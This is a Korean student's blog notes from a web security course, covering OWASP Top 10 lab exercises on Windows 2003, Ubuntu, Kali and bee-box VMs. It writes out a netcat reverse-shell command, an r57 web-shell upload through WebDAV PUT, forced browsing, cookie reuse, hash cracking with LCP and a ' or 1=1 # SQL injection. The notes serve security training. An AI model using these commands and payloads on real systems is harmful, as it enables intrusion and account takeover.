OSWAP TOP 10
- oswap의 TOP 10 취약점을 알아야 하는 이유
가장 최신의 웹 보안 트렌드를 알 수 가있다. 전세계 보안 전문간들을 대상으로 설문을 한다. 상위 10개의 취약점이 전체의 약 95%에 해당한다, |
• reverse Web Shell 실습
reverse connection 방식으로 연결, Win2003의 RAT(netcat)을 이용해서 연결, 웹 브라우저에서 실행
우분투에서 nc -l -p 8000 명령어를 사용해 서버를 연다.
-ㅣ : 듣기? -p : 포트번호 지정 |
window2003에 설치되어있는 웹 브라우저에 들어가 cmd WebShell 주소로 이동을 한다.
c:\wine.exe 192.168.5.128 8000 -e cmd.exe 명령어를 입력 후 실행을 한다.
wine.exe : netcat 프로그램 이름을 wine으로 이름만 바꿨다. 192.168.5.128 : Ubuntu 서버 IP 주소 8000 : 서버에서 연 포트 번호 -e : binary를 제공 cme.exe : Ubuntu에 cmd 권환을 넘겨주겠다. |
웹 브라우저에서 명령어를 실행한 결과 우분투와 연결이 된 걸 확인할 수 있다.
우분투에서도 system 권한이 생겼다. (웹 브라우저 권한에 따라 생기는 권한이 다르다.)
• OSASP A01 : Broken Access Control
URL(매개변수 변조 또는 강제 탐색), 내부 애플리케이션 상태 또는 HTML 페이지를 수정하거나 API 요청을 수정하는 공격 도구를 사용하여 액세스 제어 검사를 우회한다.
- Escalation : 권한 상승하는 기법 ex) 윈도우 취약점이 존재할 경우 -> 스크리트를 돌리면 관리자 권한이 주어지기도 한다.
1) 실습
Argo Club에서 ID와 PW를 이용해 글을 쓸 수 있지만, 로그인을 하지 않고도 글을 쓸 수 있을까? |
로그인을 하지 않은체 자유게시판에 들어가면 작성을 할 수 있는 페이지 및 버튼 등 없다.
글을 읽는 페이지의 구조를 보면 URL에 View가 보인다 즉, 글을 쓰는 페이지는 wirte라고 추측을 할 수가 있다.
Wirte로 수정한 결과 글을 쓰는 페이지가 나타났다.
자유게시판에 글이 올라온걸 확인할 수 있다.
- 대응 방법
- 명백한 허용을 제외하고 모두 거부 (Deny All Philosophy : 모든 것을 거부하는 원칙) - 디렉토리 리스팅을 차단 관리자가 일부러 디렉토리 리스팅을 하는 경우는 상관이 없음 관리자가 모르는 상태에서 디렉토리가 리스팅된다면 모든 파일이 인터넷에 노출됨 ----> 이런 경우 문제 - 로그아웃하기 전에 쿠키값을 복사하고 로그아웃 -----> 복사한 쿠키를 로그아웃 이후에 붙여넣기하고 재방문 ----> 사용자로 계속 인식 |
• bee-box
beebox는 웹 취약점을 공격할 수 있는 오픈소스 웹 애플리케이션인 bWAPP가 설치되어 있으며 웹 취약점 공격을 공부할 수 있도록 만들어진 가상 환경이다.
• Web Shell(Bee-Box)
오늘 풀어 볼 문제는 A5 - insecure WebDAV Configuration이다.
※ WebDAV : 웹을 개발할 때 여러 개발자들이 파일을 업로드하고 수정 및 삭제 등을 열어 놓은 디렉터리이다.
WebDAV 디렉터리 페이지이다.
웹쉘을 업로드하기 위해서는 어떻게 해야 하는가?
버프를 사용해 WebDAV페이지를 인터셉트로 잡아준다.
1. 잡은 인터셉트에서 파일을 업로드 하기 위해서 GET 를 PUT으로 변경해주고 파일명을 지정해준다. 2. body 부분에 웹쉘 소스코드를 넣어 넘겨준다. |
파일이 생성이 되었다는 메시지가 뜬다.
WebDAV 디렉터리에 보면 파일이 생성되었다는 걸 확인했다.
실행이 되는지 확인을 한다.
웹쉘이 실행되는 걸 확인했다.
•칼리에서 웹쉘 올리기
Kali에서 웹쉘이 r57 shell.php 파일을 WebDAV에 업로드를 할 것이다.
1. r57shell.php 파일이 있는 위치로 이동해준다 => cd Desktop 2. 파일이 있는지 확인을 한다. => ls 3. 파일을 WebDAV 페이지 주소로 들어간다. => sudo cadver http://192.168.5.130/webdav 4. 파일을 업로드한다. => put r57shell.php |
※ WebDAV 디렉터리에 파일 업로드가 되는 원인
- PUT, COPY, DELETE 등 허용되어 있기 때문에( 파일을 수정, 삭제, 업로드 등을 모두 하기 위해서 다양한 Method가 허용됨)
• OSWAP A02 : Cryptograpihic Failures
암호화를 잘 못하는 이유
암호화 및 복호화하는데 컴퓨터 연산량이 많아지는 문제 -> 서버 부하 오래된 웹 사이트, 옛날에 만든 페이지가 그대로 남아있는 경우 처음에는 안전한 암호화였으나 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹 될 수 있는 상태가 된다. |
안전하지 않은 암호화
대칭키 : DES, 3DES RC4 등등, ECB 방식 공개키 : RSA1024bit 이하 해시함수 : MD5, SHA1,LMhash ※ 위의 암호화를 사용하면, ISMS-P 인증심사에서 결함으로 판정 cf) seed : 우리나라에서 만든 대칭키, 아직까지는 안전한 것으로 판단-> 은행 중앙망에서 사용 * salt : 해시함수와 원문이 같으면 해시값도 같아지기 때문에, salt를 원문에 섞어서 해시값을 계산 => 해시값이 다 달라진다. |
•해시 함수 사용하기
사용 방법 : md5 sum [파일명]
원문이 다르면 다른 해시값이 나온다 => 해시값이 다르다는 것은 원문이 달라졌음을 의미한다.(무결성 훼손 --> 변조되었다)
• 취약한 해시를 사용했을 때의 문제점(실습)
Windows 2003의 내 문서에서 lcp504에서LCP를 설치해준다.
import > import from local computer를 선택하고 플레이 버튼 클릭
패스워드가 출력이 된다.(사진 잘못 찍음 수정해야 할 부분)
• OWSAP A03 : Injection
•A1 인젝션
모든 영화사 나오게 하려면?
' or 1=1 # 구문을 넣고 입력을 하면 모든 영화가 출력이 된다.
※ MySQL에서 데이터베이스에 대한 정보는 information_schema라고 하는 데이터베이스에 저장되어 있다.
테이블은 information_schema.tables의 테이블에 table_name이라는 컬럼에 저장되어 있다.
컬럼 이름은 information_schema.columns라는 테이블에 column_name이라는 컬럼에 저장되어 있다.
DB이름은 table_schema라는 컬럼에 저장되어 있다.
내부 함수
database() : 데이터베이스 이름을 확인하는 함수
version() : 버전을 확인하는 함수
@@version : 버전을 확인하는 함수
user() : 사용자를 확인하는 함수
'Rookies 9기 > 애플리케이션 보안' 카테고리의 다른 글
애플리케이션 보안 6일차 (0) | 2022.09.13 |
---|---|
애플리케이션 보안 5일차 (0) | 2022.09.08 |
애플리케이션 보안 3일차 (0) | 2022.09.06 |
애플리케이션 보안 2일차 (0) | 2022.09.05 |
애플리케이션 보안 1일차 (0) | 2022.09.03 |